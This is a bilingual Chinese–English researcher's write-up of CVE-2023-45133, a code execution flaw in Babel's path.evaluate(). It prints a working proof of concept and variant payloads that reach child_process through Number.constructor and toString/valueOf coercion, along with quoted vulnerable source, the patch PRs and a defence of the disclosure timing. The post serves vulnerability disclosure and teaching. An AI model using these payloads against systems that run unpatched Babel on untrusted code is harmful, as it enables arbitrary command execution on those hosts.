CVE-2023-45133:在 Babel 中发现任意代码执行漏洞
在2023年10月10日,我偶然发现了Babel中的一个任意代码执行漏洞,该漏洞随后被分配了标识符CVE-2023-45133。在这篇文章中,我将带你了解发现和利用这个有趣漏洞的整个过程。
🌐 On October 10th, 2023, I stumbled upon an arbitrary code execution vulnerability in Babel, which was subsequently assigned the identifier CVE-2023-45133. In this post, I’ll walk you through the journey of discovering and exploiting this intriguing flaw.
这篇文章最初发布在 William Khem Marquez 的博客。他还发布了一系列关于使用 Babel 反混淆 JavaScript 代码的文章:快去看看吧!
那些使用 Babel 进行逆向工程/代码反混淆的人喜欢使用 Babel,因为它提供了丰富的内置功能。其中一个最有用的功能是能够使用 path.evaluate() 和 path.evaluateTruthy() 静态评估表达式。我在之前的文章中写过这个内容:
🌐 Those who use Babel for reverse engineering/code deobfuscation love using Babel because of all of the built in functionality it provides. One of the most useful features is the ability to statically evaluate expressions using path.evaluate() and path.evaluateTruthy(). I have written about this in the previous articles:
等等,我说了“静态评估”吗?
🌐 Wait, did I say statically evaluate?
壮举
🌐 The Exploit
在深入细节之前,先看看我想出的概念验证吧:
🌐 Before delving into the details, let’s take a look at the proof of concept I came up with:
概念验证
🌐 Proof of Concept
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const source = `String({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;
const ast = parser.parse(source);
const evalVisitor = {
Expression(path) {
path.evaluate();
},
};
traverse(ast, evalVisitor);
这只是把 id 命令的结果输出到终端,如下所示。
🌐 This simply outputs the result of the id command to the terminal, as can be seen below.
┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)
当然,载荷可以被改装来做任何事情,比如窃取数据或者创建一个反向 shell。
🌐 Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.
漏洞分析
🌐 Exploit Breakdown
要理解这个漏洞为什么会有效,我们需要了解有问题的函数 evaluate 的源代码。修复前 babel-traverse/src/path/evaluation.ts 的源代码存档在 这里
🌐 To understand why this vulnerability works, we need to understand the source code of the culprit function, evaluate. The source code of babel-traverse/src/path/evaluation.ts prior to the fix is archived here
/**
* Walk the input `node` and statically evaluate it.
*
* Returns an object in the form `{ confident, value, deopt }`. `confident`
* indicates whether or not we had to drop out of evaluating the expression
* because of hitting an unknown node that we couldn't confidently find the
* value of, in which case `deopt` is the path of said node.
*
* Example:
*
* t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
* t.evaluate(parse("!true")) // { confident: true, value: false }
* t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
*
*/
export function evaluate(this: NodePath): {
confident: boolean;
value: any;
deopt?: NodePath;
} {
const state: State = {
confident: true,
deoptPath: null,
seen: new Map(),
};
let value = evaluateCached(this, state);
if (!state.confident) value = undefined;
return {
confident: state.confident,
deopt: state.deoptPath,
value: value,
};
}
当在 NodePath 上调用 evaluate 时,它会先经过 evaluatedCached 封装器,然后才到达执行主要操作的 _evaluate 函数。漏洞出现在 _evaluate 函数里。
🌐 When evaluate is called on a NodePath, it goes through the evaluatedCached wrapper, before reaching the _evaluate function which does all the heavy lifting. The _evaluate function is where the vulnerability lies.
这个函数负责递归地分解 AST 节点,直到它达到可以自信评估的原子操作为止。大多数基本情况仅针对原子操作进行评估(比如两个字面量之间的二元表达式)。不过,这条规则有一些例外情况。
🌐 This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.
我们关心的两部分源代码是对调用表达式和对象表达式的处理,如下所示:
🌐 The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below:
易受攻击的源代码
🌐 Vulnerable Source Code
相关的 _evaluate 源代码
const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
"isFinite",
"isNaN",
"parseFloat",
"parseInt",
"decodeURI",
"decodeURIComponent",
"encodeURI",
"encodeURIComponent",
process.env.BABEL_8_BREAKING ? "btoa" : null,
process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;
const INVALID_METHODS = ["random"] as const;
function isValidObjectCallee(
val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
return VALID_OBJECT_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isValidIdentifierCallee(
val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
return VALID_IDENTIFIER_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
return INVALID_METHODS.includes(
// @ts-expect-error val is a string
val
);
}
function _evaluate(path: NodePath, state: State): any {
/** snip **/
if (path.isObjectExpression()) {
const obj = {};
const props = path.get("properties");
for (const prop of props) {
if (prop.isObjectMethod() || prop.isSpreadElement()) {
deopt(prop, state);
return;
}
const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
let key;
// @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
if (prop.node.computed) {
key = keyPath.evaluate();
if (!key.confident) {
deopt(key.deopt, state);
return;
}
key = key.value;
} else if (keyPath.isIdentifier()) {
key = keyPath.node.name;
} else {
key = (
keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
).value;
}
const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
let value = valuePath.evaluate();
if (!value.confident) {
deopt(value.deopt, state);
return;
}
value = value.value;
// @ts-expect-error key is any type
obj[key] = value;
}
return obj;
}
/** snip **/
if (path.isCallExpression()) {
const callee = path.get("callee");
let context;
let func;
// Number(1);
if (
callee.isIdentifier() &&
!path.scope.getBinding(callee.node.name) &&
(isValidObjectCallee(callee.node.name) ||
isValidIdentifierCallee(callee.node.name))
) {
func = global[callee.node.name];
}
if (callee.isMemberExpression()) {
const object = callee.get("object");
const property = callee.get("property");
// Math.min(1, 2)
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
// "abc".charCodeAt(4)
if (object.isLiteral() && property.isIdentifier()) {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
const type = typeof object.node.value;
if (type === "string" || type === "number") {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
context = object.node.value;
func = context[property.node.name];
}
}
}
if (func) {
const args = path
.get("arguments")
.map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
}
/** snip **/
}
调用表达式的处理
🌐 Handling of Call Expressions
首先要明白的是,虽然调用表达式确实可以被求值,但它们需要经过白名单检查,依赖于 VALID_OBJECT_CALLEES 或 VALID_IDENTIFIER_CALLEES 数组。
🌐 The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the VALID_OBJECT_CALLEES or VALID_IDENTIFIER_CALLEES arrays.
另外,有三种情况需要处理调用表达式:
🌐 Additionally, there are three cases for handling call expressions:
- 当被调用的是一个标识符,并且该标识符在
VALID_OBJECT_CALLEES或VALID_IDENTIFIER_CALLEES白名单中时。 - 当被调用者是成员表达式时,对象是一个标识符,标识符在
VALID_OBJECT_CALLEES白名单中,并且属性不在INVALID_METHODS黑名单中。 - 当被调用的是成员表达式时,对象是字面量,属性是字符串或数字字面量。
最有趣的是第二个案例:
🌐 The most interesting one is the second case:
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
/** snip **/
if (func) {
const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
唯一被列入黑名单的方法是 random,它是 Math 对象的方法。这意味着其他任何白名单中的 Number、String 或 Math 对象的方法都可以直接引用。
🌐 The only blacklisted method is random, which is a method of the Math object. This means that any other method of either the whitelisted Number, String, or Math objects can be directly referenced.
在 JavaScript 中,所有的类都是函数。由于 Number 和 String 是全局的 JavaScript 类,它们的 constructor 属性指向 Function 构造函数。
🌐 In JavaScript, all classes are functions. Since Number and String are global JavaScript classes, their constructor property points to the Function constructor.
所以,下面这两个表达式是等价的:
🌐 Therefore, the two expressions below are equivalent:
Number.constructor('javascript_code_here;');
Function('javascript_code_here;');
把任意字符串传给 Function 构造函数,会返回一个函数,当调用它时会把提供的字符串作为 JavaScript 代码来执行。
🌐 Passing in an arbitrary string to the Function constructor returns a function that will evaluate the provided string as JavaScript code when called.
Number.constructor('javascript_code_here;') 生成的 AST 节点包含:
🌐 The AST node generated by Number.constructor('javascript_code_here;') contains:
- 一个调用表达式,哪里
- 被调用的是一个成员表达式,其中
- 这个对象是一个标识符,名称已被
VALID_OBJECT_CALLEES列入白名单 - 这个属性是一个标识符,没有被
INVALID_METHODS列入黑名单
- 这个对象是一个标识符,名称已被
- 这些参数是一个字符串字面量,包含要执行的代码。
- 被调用的是一个成员表达式,其中
因此,这段代码被认为是安全的可以执行,而且我们已经成功地制作了一个恶意函数。
🌐 Therefore, the code is considered safe to evaluate, and we have successfuly crafted a malicious function.
然而,值得注意的是,这个__不能自己调用函数__。它只是创建了一个匿名函数。
🌐 However, it is crucial to note that this cannot call the function on its own. It only creates an anonymous function.
那么,我们究竟该怎么调用这个函数呢?这时候第二块拼图就登场了:对象表达式。
🌐 So, how exactly can we call the function? This is where the second piece of the puzzle comes in: object expressions.
对象表达式的处理
🌐 Handling of Object Expressions
在 Babel 的 _evaluate 方法中,ObjectExpression 节点会进行递归评估,从而生成一个真正的 JavaScript 对象。ObjectProperty 的键名没有限制。只要 ObjectExpression 中的每个 ObjectProperty 子项都能从 _evaluate() 得到 confident: true,我们就可以获得带有自定义键/值的 JavaScript 对象。
🌐 Within Babel’s _evaluate method, an ObjectExpression node undergoes recursive evaluation, producing a true JavaScript object. There’s no limitation on key names for ObjectProperty. As long as every ObjectProperty child in the ObjectExpression yields confident: true from _evaluate(), we can obtain a JavaScript object with custom keys/values.
一个可以利用的关键属性是 toString (MDN 参考)。在对象上定义这个属性并指向我们控制的函数,将允许我们在对象被转换为字符串时执行任意代码。
🌐 A key property to leverage is toString (MDN Reference). Defining this property on an object to a function we control will allow us to execute arbitrary code when the object is converted to a string.
这正是我们在有效载荷中所做的:
🌐 This is exactly what we do in the payload:
String(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
我们把用 Function 构造函数制作的恶意函数分配给了对象的 toString 属性。因此,当这个对象进行字符串转换时,它就会被触发并执行。
🌐 We’ve assigned our malicious function, crafted via the Function constructor, to the toString property of the object. Thus, when this object undergoes a string conversion, it gets triggered and executed.
在提供的示例中,我们将对象传递给 String 函数,因为它是白名单函数(参考案例 1)。不过,String 构造函数并不是必须的。JavaScript 中的隐式类型强制转换也可能触发我们的恶意函数,如这些替代有效载荷格式所示:
🌐 In the provided example, we pass the object to the String function, given its status as a whitelisted function (referenced in case 1). Still, the String constructor isn’t mandatory. Implicit type coercion in JavaScript can also trigger our malicious function, as demonstratedin these alternative payload formats:
""+(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
1+(({ valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
第一个例子使用类型强制将对象转换为字符串。相反,第二个例子利用类型强制将其转换为数字,详情可以参考 Object.prototype.valueOf()。这两个例子都利用了 _evaluate() 方法处理 BinaryExpression 节点的方式,它会在递归计算左操作数和右操作数后直接执行操作。
🌐 The first example employs type-coercion to transform the object into a string. In contrast, the second example utilizes type-coercion to convert it into a number, as detailed in Object.prototype.valueOf(). Both examples exploit the _evaluate() method’s approach to handling BinaryExpression nodes, which directly performs the operation after recursively evaluating the left and right operands.
补丁
🌐 The Patch
在披露这个漏洞后,我对 Babel 团队的快速反应印象深刻,他们立即推出了补丁。这个补丁分两部分发布:
🌐 Upon disclosing this vulnerability, I was impressed by the swift response from the Babel team, who promptly rolled out a patch. This patch was released in two parts:
第一个是对所有受影响的官方 Babel 包的一种解决方法,通过在调用 evalute() 时加上 isPure() 检查来实现。isPure 本身可以防止这个错误,因为它会对所有 MemberExpression 节点返回 false。PR #16032: 更新 babel-polyfills 包
🌐 The first of which was a workaround for all of the affected official Babel packages, by guarding the calls to evalute() with an isPure() check. isPure inherently prevents this bug, as it returns false for all MemberExpression nodes. PR #16032: Update babel-polyfills packages
下一步涉及优化 evaluate() 函数。这个调整确保了所有继承的方法,而不仅仅是 constructor,都无法被调用。PR #16033:只评估自己的 String/Number/Math 方法
🌐 The subsequent step involved refining the evaluate() function. This adjustment ensured that all inherited methods, not only constructor, were prevented from being called. PR #16033: Only evaluate own String/Number/Math methods
修复实现后,GitHub 员工针对安全公告发布了 CVE-2023-45133。
🌐 After the fixes were implemented, GitHub staff issued CVE-2023-45133 for the security advisory.
关于披露时机的小提示
🌐 A side note on disclosure timing
你可能已经注意到,这篇博客文章和安全公告是在同一天发布的。通常对于严重漏洞,公开概念验证之前会等一段时间。不过,我认为这次披露的时机是有理由的,原因有几个:
🌐 You might have noticed that this blog post was released on the same day as the security advisory. Usually for critical vulnerabilities, it’s customary to wait a while before disclosing a proof of concept. However, I believe this disclosure timing is justifiable for a few reasons:
总体来说,绝大多数 Babel 用户不会受到这个漏洞的影响。Babel 主要用于重构和转译自己的代码,这意味着典型的使用场景并不会让用户暴露在这种风险下。不太可能有很多人在服务器端实现中通过编译插件或调用 path.evaluate 来接受和处理用户的任意代码。此外,实际上在服务器端使用 Babel 来分析不受信任代码的真正用例也只有几个:
🌐 Predominantly, the vast majority of Babel users remain unaffected by this vulnerability. Babel is primarily utilized for refactoring and transpiling one’s own code, which means the typical use case doesn’t expose users to this risk. It’s improbable that many have server-side implementations that accept and process arbitrary code from users through the compilation plugins or the invocation of path.evaluate. Furthermore, there are really only a couple real use-cases for using Babel to analyze untrusted code on the server-side:
- 逆向工程防机器人软件等
- 恶意软件分析
在第一种情况下,我怀疑任何合法的机器人防护机构都会尝试远程代码执行(RCE),因为法律后果太严重了。同时,使用Babel进行恶意软件逆向的专业人员有能力在受控的沙箱环境中进行分析。因此,在现实世界的场景中,对社区的风险还是很小的。
🌐 In the first case, I doubt any legitimate bot mitigation entity would try to attempt Remote Code Execution (RCE) due to the legal ramifications. Meanwhile, professionals using Babel for malware reversal possess the expertise to conduct their analyses within controlled, sandboxed environments. Thus, the risk to the community, in real-world scenarios, remains minimal.
结论
🌐 Conclusion
发现并深入研究这个漏洞是一次有趣的经历。我最初是在为多伦多大学CTF即将举行的夺旗比赛设计一个基于Babel的挑战时偶然发现这个漏洞的,当时我专注于一个完全不同、与安全无关的“漏洞”。
🌐 Discovering and delving into this vulnerability was a fun experience. I initially stumbled upon the vulnerability during a brainstorming session for a Babel-based challenge for UofTCTF’s upcoming capture the flag competition, where I was focusing on an entirely different, non-security-related “bug”.
这个漏洞主要影响那些在使用 Babel 时整合不可信代码的人。不幸的是,这让那些利用 Babel 进行“静态反混淆”的人直接成为了这个攻击矢量的目标。
🌐 This vulnerability predominantly impacts those integrating untrusted code with Babel. Unfortunately, this places individuals leveraging Babel for “static deobfuscation” directly in the crosshairs of this attack vector.
我的第一个被记入的 CVE 来源于对 Babel 的逆向工程——而我经常用它来进行 JavaScript 逆向,这也是我之前所有帖子的话题🤣,这其中有点讽刺意味。
🌐 There’s a touch of irony in the fact that my first credited CVE emerged from reverse engineering Babel - the very tool I often employ for reverse engineering JavaScript, and the topic of all of my previous posts 🤣.
这是一次很棒的学习经历,希望这篇文章对你也有帮助。感谢阅读,保重!
🌐 This was a great learning experience, and hopefully this write-up was useful to you as well. Thanks for reading, and take care!
参考
🌐 References